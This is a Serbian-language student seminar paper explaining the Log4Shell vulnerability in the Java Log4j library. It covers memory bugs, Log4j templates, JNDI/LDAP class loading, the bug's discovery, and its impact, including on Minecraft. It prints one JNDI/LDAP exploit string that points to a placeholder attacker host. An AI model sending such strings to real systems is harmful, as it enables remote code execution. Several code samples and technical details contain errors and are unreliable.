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Сажетак

У овом семинарском раду описана jе Log4Shell грешка, дога-
ђаjи коjи jе изазвала, начин на коjи функционише и како jу jе
могуће експлоатисати.

1 Увод
Log4Shell jе популарни назив за CVE-2021-442281, грешку нул-

тог дана (енг. zero-day vulnerability) 2 откривену у библиотеци
Log4j 3 за програмски jезик Jаву. Уз минималан труд нападача,
грешка jе омогућила малициозним корисницима произвољно из-
вршавање кода на погођеним уређаjима. Учинила jе рањивим
многе популарне интернет сервисе, као што су: Amazon Web Services,
Cloudflare, iCloud, Minecraft Java Edition, Steam, Tencent QQ и многе
друге.

2 Грешке коjе су претходиле
2.1 Мемориjа у jезицима ниског нивоа

Већина програмских jезика ниског нивоа, као што су C и C++,
не поседуjу уграђене механизме заштите интегритета свог ста-
ња. Допуштено jе уписивање на произвољно место у мемори-
jи, произвољна алокациjа нових података на хип, уклањање ис-
тих из мемориjе, као и многе друге операциjе. Уколико jе про-
грамер довољно упознат са начином функционисања хардвера,
могућности коjе оваj приступ програмирању пружа омогућаваjу
стварање програма коjи наjоптималниjе користи све могућно-
сти хардвера.

Овакав приступ програмирању програмеру даjе велику моћ,
али, на жалост, с њом и велику одговорност. Произвољан при-
ступ мемориjи отвара могућност за настанак неприметних гре-
шака чиjе постоjање може изазвати велике последице.

2.2 Прекорачење опсега
Прекорачење опсега (енг. buffer overflow) jе грешка до коjе до-

лази када програм уписуjе или чита податке изван предвиђеног
оквира (бафера). Исход ове грешке jе непредвидљив. Уколико се
подаци упишу у незаузет мемориjски простор, неће се догодити
ништа. Ако се на том месту налазила нека променљива, њена
вредност биће промењена на непредвидљив начин. Ефекти ове
грешке демонстрирани су кроз пример 2.2.1

1https://www.cve.org/CVERecord?id=CVE-2021-44228
2све грешке за коjе jе корисник угроженог програма сазнао истовремено када и

jавност, то jест имао нула дана да отклони
3https://logging.apache.org/log4j/2.x/
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2.2.1 Пример прекорачења стека

Замислимо да постоjи програм коjи од корисника очекуjе низ
осмобитних целих броjева дужине 4. У мемориjи програма нала-
зи се низ предвиђен да се у њега упише корисников улаз. Сасвим
случаjно, одмах поред њега налази се цео осмобитни броj x коjи
има вредност 12. Стање програма приказано jе у табели 2.2.1.

Табела 1: Приказ стања програма пре уноса корисничких података
низ x

? ? ? ? 12

Уколико jе корисник унео више од 4 елемента (претпостави-
мо да jе унео следеће броjеве: 5 17 46 25 4), подразумевано, про-
грам ће наставити да уписуjе податке ван оквира низа. Као по-
следица, вредност променљиве x биће измењена, иако сам код
не предвиђа такву промену. Ново стање програма приказано jе
у табели 2.2.1.

Табела 2: Приказ стања програма након уноса корисничких подата-
ка

низ x
5 17 46 25 4

С обзиром да ће кориснички улаз у примеру 2.2.1 променити
вредност свих променљивих коjе му се нађу на путу, постоjе че-
тири могуће нуспоjаве:

• ништа - вредност ће бити уписана у неалоцирану мемориjу,
коjа никада неће бити читана, а адреса ће бити означена као
допуштена за упис нових података

• промена вредности неке променљиве - описанo у примеру
2.2.1

• излаз из мемориjског оквира програма - уколико програм
покуша да приступи адреси изван њему допуштеног мемо-
риjског оквира, оперативни систем ће га насилно угасити

• промена извршног кода - уколико кориснички улаз буде упи-
сан унутар сегмента кода, локациjе у мемориjи где се нала-
зи извршни код програма, може доћи до промена у начину
функционисања програма. То допушта малициозним кори-
сницима да извршаваjу произвољан код и тако манипули-
шу програмом.

Решење проблема наведеног у примеру 2.2.1 jе тривиjално.
Међутим, уколико се његове последице не jаве у фази тестира-
ња, врло лако може завршити у програму, остављеном на милост
корисницима коjи откриjу нашу грешку. Осим тога, време потро-
шено на проналажење оваквих грешака може се утрошити на
проширивање програма, додавање нових функционалности ко-
jе могу привући више корисника.
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3 Jава
3.1 Опис jезика

Jава jе обjектно ориjентисани jезик високог нивоа коjи jе ство-
рила компаниjа Sun Microsystems 1995. године. За разлику од jе-
зика описаних у секциjи 2.1, Jава открива мемориjу кроз „обjек-
те“. Схеме за креирање обjеката зову се класе, имаjу своjе име
и дефинишу коjе променљиве обjекат поседуjе, и методе коjе се
над њим примењуjу. У примеру кода 1 демонстрирано jе креи-
рање jедног обjекта на основу његове класе. Када завршимо са
коришћењем обjекта, биће аутоматски уклоњен из мемориjе.

Пример кода 1: Креирање обjекта на основу класе
class Objekat { // klasa

int promenljiva1; // promenljiva
boolean promenljiva2;
// metoda objekta
void ispisi_se() {

String tekst = // generisanje teksta
promenljiva1 + " " + promenljiva1;

System.out.println(tekst); // ispis
}

}
public static void main(String[] args) {

// kreiranje novog objekta
Objekat objekat = new Objekat();
// dodela vrednosti promenljivama objekta
objekat.jednaPromenljiva = 10;
objekat.drugaPromenljiva = false;
// izvrsavanje metode objekta
ispisi_se();

}

Уколико покушамо да рекреирамо пример 2.2.1 у Jави, про-
грам ће приjавити грешку.

3.2 Испис на стандардни излаз
Већина програмских jезика омогућава испис текстуалних по-

датака на стандардни излаз, видљив покретачу апликациjе. То
омогућава програму да своjе стање саопшти jезиком коjи jе разу-
мљив људима. У примеру кода 1 променљиве обjекта се претва-
раjу у текстуални податак и на стандардни излаз исписуjу кори-
шћењем функциjе System.out.println(tekst).

Понекад нам пуко исписивање текста не доноси задовољава-
jући резултат. На пример, уколико бисмо желели да испишемо
текст у боjи, с обзиром да различити оперативни системи дру-
гачиjе третираjу боjе, морали бисмо да их разликуjемо и доде-
љуjемо тексту различита кодирања. Осим тога, у примеру кода 1
примећуjемо да смо сами морали да податке претварамо у текст.
У овом примеру, поступак jе био jедноставан, али у неким случа-
jевима, одговарало би нам када не бисмо морали да све регули-
шемо сами.
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4 Log4j
Apache Log4j jе библиотека за програмски jезик Jаву (3) коjа

унапређуjе могућност програма да описуjе сопствене догађаjе и
исписуjе их у формату читљивом људима (енг. logging) . Наста-
ла jе 2001., користи Apache 2.0 лиценцу отвореног кода4 и део jе
Apache Software Foundation организациjе.

4.1 Шаблони ниски
Jедна од карактеристика ове библиотеке jесу шаблони ниски.

То jе метод дефинисања формата излаза унутар ниске, без потре-
бе за креирањем исте. Предност оваквог приступа jе већа читљи-
вост кода, уместо да размишљамо на коjи начин вредности треба
претворити у текстуални формат, и потом их повезати са оста-
лим вредностима, то можемо препустити библиотеци. Мање на-
писаног кода углавном значи мања шанса за прављење грешке.
На пример, уколико желимо да на стандардни излаз испишемо
два броjа са покретним зарезом заокружена на две децимале, без
помоћи Log4j би прво било потребно броjеве претворити у ни-
ске коjе представљаjу заокружени запис броjева читљив људи-
ма, а потом их исписати на стандардни излаз, као што се може
видети у примеру кода 2. Log4j нам у примеру кода 3 омогућава
дефинисање формата наших података унутар ниске, што знатно
смањуjе количину исписаног кода.

Пример кода 2: Испис вредности два реална броjа заокру-
жена на две децимале коришћењем стандардних функци-
jа Jаве
double x = 5.56574734;
double z = 6.0;
String zaokruzen_x = String.format("%.2f", x);
String zaokruzen_z = String.format("%.2f", z);
String ispis = "x = " + zaokruzen_x

+ ", z = " + zaokruzen_z;
System.out.println(ispis);

Пример кода 3: Испис вредности два реална броjа заокру-
жена на две децимале коришћењем библиотеке Log4j
double x = 5.56574734;
double z = 6.0;
logger.info("x = %.2f, y = %.2f", x, y);

Могућности се не заустављаjу. Уколико желимо да испишемо
хексадецималну вредност целог броjа, довољно jе заменити %.2f
с %X.

4Лиценца отвореног кода дефинише права коjа корисник има на коришћење, ре-
продукциjу и редистрибуциjу кода коjи jе користи. Рестрикциjе Apache 2.0 лиценце
налазе се на линку https://www.apache.org/licenses/LICENSE-2.0.txt
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4.2 Извршавање функциjа
Иако Log4j знатно олакшава исписивање података, jош увек

jе могуће постићи исти резултат коришћењем стандардних функ-
циjа програмског jезика. То jе зато што ће, када у ниску напише-
мо %X , библиотека потражити функциjу коjа претвара броjеве у
хексадецималне ниске (Integer.toHexString(броj)), проследити jоj
броj x и резултат поставити на то место.
Наравно, овакав начин записа нас не ограничава само на функ-
циjе коjе броjеве претвараjу у ниске. Променљиве окружења су
глобалне променљиве доступне свим корисницима оперативног
система. Користе се како би програм могао да користи вредно-
сти коjе се разликуjу на различитим оперативних система, по-
пут имена оперативног система и путања до извршних датотека
системских програма.
Како бисмо на стандардни излаз исписали путању до HOME ди-
ректориjума, у стандардноj Jави би од система захтевали вред-
ност променљиве, а потом jе исписали на стандардни излаз, што
се види у примеру кода 4. Коришћењем Log4j библиотеке, посту-
пак jе знатно олакшан, што се види у примеру кода 5.

Пример кода 4: Испис вредности променљиве окружења
коришћењем стандардних функциjа Jаве
String home = System.getenv("HOME");
System.out.println("HOME = " + home);

Пример кода 5: Испис вредности променљиве окружења
коришћењем библиотеке Log4j
logger.info("HOME = ${env:HOME}");

Свака функциjа у Jави може позивати друге функциjе, креи-
рати обjекте, правити захтеве путем интернета и тиме утицати
на стање програма. Из тог разлога, било би опасно када би ис-
писивање података на стандардни излаз могло да изазове изме-
ну стања програма. Због тога се Log4j ограничава на коришћење
функциjа за коjе сматраjу да не могу да изазову такве операциjе.
Међутим, шта се догоди када када функциjа коjа има ту способ-
ност ипак заврши у коду коjи користи милиjарде корисника?

5 Извршавање страног кода
5.1 Сериjализациjа

Обjекат као концепт постоjи само у мемориjи програма. На-
кон што се програм угаси, обjекат и сви подаци коjи су били чу-
вани у њему неповратно нестаjу.
Сериjализациjа jе поступак претварања обjеката у мемориjи у
податке коjе jе могуће чувати на тврдом диску, док jе десериjа-
лизациjа обрнут процес. Међутим, подаци у мемориjи се веома
разликуjу од података на диску. На диску не постоjе референце
на друге обjекте и подаци имаjу фиксну дужину. Због тога jе сва-
коj класи чиjе jе обjекте могуће сериjализовати потребно доде-
лити посебну функциjу коjа то обавља. На нашу срећу, за већину
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обjеката постоjе универзалне функциjе, попут оних садржаних у
библиотеци GSON.
Међутим, шта да радимо уколико желимо да обjекат узмемо из
другог Jава програма, а наш програм не садржи дефинициjу кла-
се чиjе jе обjекат инстанца?

5.2 Учитавање страних класа
За разлику од jезика C++, код кога су класе апстракциjа коjа не-

стаjе након што се програм преведе у машински код, у Jави њи-
хова дефинициjа, променљиве и методе остаjу сачуване током
извршавања програма. Тиме jе олакшано проналажење греша-
ка у коду, портабилност извршне датотеке, и нама наjважниjе,
учитавање страних класа унутар програма током његовог рада.
Коришћењем рефлексиjе5, страну класу можемо учитати унутар
нашег програма, креирати њене обjекте и извршавати њене функ-
циjе. Постоjе многи начини за добављање класе, међутим, ми ће-
мо описати само jедан 5.2.1.

5.2.1 JNDI и LDAP

Jава интерфеjс за именовање и директориjуме (енг. Java Naming
and Directory Interface) или скраћено JNDI jе интерфеjс за при-
ступ сервисима именовања и директориjума. Његова главна свр-
ха jе да омогући Jава апликациjама да претражуjу обjекте и ре-
сурсе по имену, уместо да чврсто кодираjу њихове локациjе или
имплементациjе. JNDI не чува податке, већ нам помаже да ко-
муницирамо са Лаганим протоколом за приступ директориjуми-
ма (енг. Lightweight Directory Access Protocol) или скраћено LDAP,
мрежним протоколом коjи се користи за приступ и управљање
сервисима директориjума. Чува информациjе у хиjерархиjскоj,
структури у облику стабла прилагођеноj за константно читање
података, те jе практичан за чување обjеката и дефинициjе кла-
са, коjе наш програм може лако да захтева.

Наравно, учитавање страних класа страном коду пружа при-
лику да се изврши унутар наше апликациjе. Уколико не знамо
шта класа коjу прихватамо ради, постоjи шанса да наш програм
буде компромитован. Шта ће се догодити ако случаjно допусти-
мо корисницима да учитаваjу своjе класе?

6 Log4Shell грешка
6.1 Опис Log4Shell грешке

Log4j углавном користи JNDI 5.2.1 како би лакше пронашао
елементе база података, у коjе спадаjу и LDAP сервери. У већини
случаjева, овакви захтеви не подразумеваjу учитавање страних
класа 5.2, међутим, верзиjе ове библиотеке погођене Log4Shell
грешком допуштале су да се унутар ниске коjа представља Log4j

5Рефлексиjа jе способност програма да, током извршавања, анализира и мења
структуру или понашање.
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шаблон затражи сериjализовани обjекат, и његова класа коjа де-
финише како ће бити десериjализован. С обзиром да се унутар
сваке функциjе у jави могу позивати друге функциjе, то jе ма-
лициозним корисницима омогућило да извршаваjу произвољан
код на погођеним машинама, и то само тако што би им просле-
дили следећу ниску:

$jndi:ldap://napadac.com/maliciozni_zahtev

6.2 Откриће грешке
Log4Shell грешку jе открио истраживач безбедности из Alibaba

Cloud безбедносног тима у новембру 2021. године. Утврђено jе да
jе ова грешка у библиотеци постоjала неоткривена наjкасниjе од
2013. године, када jе настала прва верзиjа Log4j 2 библиотеке. 24.
новембра 2021., грешка jе приjављена организациjи коjа се бави
одржавањем Log4Shell библиотеке, Apache Software Foundation-
у. Грешка jе врло брзо отклоњена у верзиjи 2.16.0, и 9. децембра
2021. године обjављена jавности под називом CVE-2021-442286.

6.3 Последице грешке
Како би нападач експлоатисао грешку, све што му jе потребно

jесте LDAP сервер на коме би се налазиле класе са малициозним
кодом. Такође, непримећена jе постоjала макар 8 година, што jе
значило да jе велики броj сервиса, у коjе спадаjу банковни уређа-
jи, принтери, интернет сервери, медицинска опрема, био подло-
жан. На срећу, метод исправљања ове грешке поjавио се од мо-
мента када jе jавност сазнала за њено постоjање, те су подложни
остали само они уређаjи коjи нису били ажурирани на време.

Процењуjе се да jе око 10 процената свих дигиталних средста-
ва - укључуjући веб апликациjе, сервисе у облаку и физичке краj-
ње тачке попут сервера - било рањиво на Log4Shell у време њеног
открића. Хакери могу да користе Log4Shell како би учинили го-
тово све: украли податке, инсталирали рансомвере, запленили
уређаjе за потребе ботнета и jош много тога [4].

6.3.1 Minecraft

Jедна од многих погођених сервиса била jе видео игра Minecraft.
У њеном случаjу, библиотеку Log4j користе и сервер и клиjент,
што jе значило да jе jедан малициозни корисник могао да ин-
фицира на хиљаде људи тако што би, као у примеру на слици 1,
послао jедну поруку у jавно ћаскање.
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Слика 1: Minecraft
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